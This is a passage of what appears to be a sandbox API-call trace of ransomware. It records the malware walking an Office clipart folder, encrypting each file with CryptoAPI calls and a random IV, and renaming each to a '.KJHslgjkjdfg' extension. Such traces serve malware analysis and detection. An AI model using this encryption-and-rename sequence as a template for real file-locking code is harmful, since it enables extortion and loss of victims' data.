nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x5, lpOverlapped=0x0) returned 1 [0183.376] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0183.376] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0183.376] GetProcessHeap () returned 0x990000 [0183.376] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0183.376] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0183.376] CryptDestroyKey (hKey=0x9b6628) returned 1 [0183.376] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0183.377] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0183.377] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0183.377] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0183.377] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0183.377] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0183.377] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0183.378] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0183.378] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.378] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x34cb, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x34cb, lpOverlapped=0x0) returned 1 [0183.911] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x34d0, dwBufLen=0x34d0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x34d0) returned 1 [0183.912] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.912] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x34d0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x34d0, lpOverlapped=0x0) returned 1 [0183.912] CryptDestroyKey (hKey=0x9b6628) returned 1 [0183.912] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x35a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.912] SetEndOfFile (hFile=0x130) returned 1 [0183.915] GetProcessHeap () returned 0x990000 [0183.915] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0183.915] GetProcessHeap () returned 0x990000 [0183.915] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0183.915] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10890_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10890_.gif.kjhslgjkjdfg")) returned 1 [0183.916] CloseHandle (hObject=0x130) returned 1 [0183.917] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93701b00, ftCreationTime.dwHighDateTime=0x1bd4f69, ftLastAccessTime.dwLowDateTime=0x517da370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x93701b00, ftLastWriteTime.dwHighDateTime=0x1bd4f69, nFileSizeHigh=0x0, nFileSizeLow=0x4edd, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BD10972_.GIF", cAlternateFileName="")) returned 1 [0183.917] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10972_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0183.922] GetProcessHeap () returned 0x990000 [0183.922] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0183.922] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0183.922] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0183.922] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x3, lpOverlapped=0x0) returned 1 [0183.926] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0183.926] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0183.926] GetProcessHeap () returned 0x990000 [0183.926] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0183.926] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0183.926] CryptDestroyKey (hKey=0x9b6628) returned 1 [0183.926] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0183.926] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0183.926] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0183.926] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0183.926] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0183.926] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0183.927] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0183.927] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0183.927] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.927] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x4edd, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x4edd, lpOverlapped=0x0) returned 1 [0183.934] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4ee0, dwBufLen=0x4ee0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4ee0) returned 1 [0183.935] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.935] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x4ee0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x4ee0, lpOverlapped=0x0) returned 1 [0183.935] CryptDestroyKey (hKey=0x9b6628) returned 1 [0183.935] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4fb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.935] SetEndOfFile (hFile=0x130) returned 1 [0183.938] GetProcessHeap () returned 0x990000 [0183.938] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0183.938] GetProcessHeap () returned 0x990000 [0183.938] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0183.938] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10972_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10972_.gif.kjhslgjkjdfg")) returned 1 [0183.941] CloseHandle (hObject=0x130) returned 1 [0183.941] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6557800, ftCreationTime.dwHighDateTime=0x1bd4d57, ftLastAccessTime.dwLowDateTime=0x5190ae70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6557800, ftLastWriteTime.dwHighDateTime=0x1bd4d57, nFileSizeHigh=0x0, nFileSizeLow=0x4fe6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BD19563_.GIF", cAlternateFileName="")) returned 1 [0183.941] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19563_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0183.963] GetProcessHeap () returned 0x990000 [0183.963] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0183.963] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0183.963] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0183.977] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0183.987] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0183.987] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0183.987] GetProcessHeap () returned 0x990000 [0183.987] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0183.987] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0183.987] CryptDestroyKey (hKey=0x9b6628) returned 1 [0183.987] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0184.006] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0184.006] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0184.006] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0184.006] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0184.006] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0184.006] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0184.006] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0184.006] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.006] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x4fe6, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x4fe6, lpOverlapped=0x0) returned 1 [0184.007] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4ff0, dwBufLen=0x4ff0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4ff0) returned 1 [0184.007] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.007] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x4ff0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x4ff0, lpOverlapped=0x0) returned 1 [0184.008] CryptDestroyKey (hKey=0x9b6628) returned 1 [0184.008] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x50c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.008] SetEndOfFile (hFile=0x130) returned 1 [0184.011] GetProcessHeap () returned 0x990000 [0184.011] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0184.011] GetProcessHeap () returned 0x990000 [0184.011] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0184.011] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19563_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19563_.gif.kjhslgjkjdfg")) returned 1 [0184.015] CloseHandle (hObject=0x130) returned 1 [0184.016] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4f48c00, ftCreationTime.dwHighDateTime=0x1bd4d56, ftLastAccessTime.dwLowDateTime=0x5f586430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe4f48c00, ftLastWriteTime.dwHighDateTime=0x1bd4d56, nFileSizeHigh=0x0, nFileSizeLow=0x3d75, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BD19582_.GIF", cAlternateFileName="")) returned 1 [0184.016] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19582_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0184.049] GetProcessHeap () returned 0x990000 [0184.049] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0184.049] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0184.049] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0184.049] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xb, lpOverlapped=0x0) returned 1 [0184.090] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0184.090] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0184.090] GetProcessHeap () returned 0x990000 [0184.090] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0184.090] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0184.090] CryptDestroyKey (hKey=0x9b6628) returned 1 [0184.090] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0184.090] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0184.090] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0184.090] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0184.090] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0184.090] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0184.091] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0184.091] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0184.091] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.091] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x3d75, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x3d75, lpOverlapped=0x0) returned 1 [0184.344] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3d80, dwBufLen=0x3d80 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3d80) returned 1 [0184.344] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.345] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3d80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3d80, lpOverlapped=0x0) returned 1 [0184.345] CryptDestroyKey (hKey=0x9b6628) returned 1 [0184.345] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3e54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.345] SetEndOfFile (hFile=0x130) returned 1 [0184.347] GetProcessHeap () returned 0x990000 [0184.347] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0184.347] GetProcessHeap () returned 0x990000 [0184.347] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0184.347] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19582_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19582_.gif.kjhslgjkjdfg")) returned 1 [0184.351] CloseHandle (hObject=0x130) returned 1 [0184.351] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c6cc00, ftCreationTime.dwHighDateTime=0x1bd4d5a, ftLastAccessTime.dwLowDateTime=0x5190ae70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc4c6cc00, ftLastWriteTime.dwHighDateTime=0x1bd4d5a, nFileSizeHigh=0x0, nFileSizeLow=0x32b6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BD19695_.WMF", cAlternateFileName="")) returned 1 [0184.351] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19695_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0184.352] GetProcessHeap () returned 0x990000 [0184.352] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0184.352] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0184.352] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0184.352] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0184.353] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0184.353] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0184.354] GetProcessHeap () returned 0x990000 [0184.354] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0184.354] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0184.354] CryptDestroyKey (hKey=0x9b6628) returned 1 [0184.354] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0184.354] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0184.354] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, 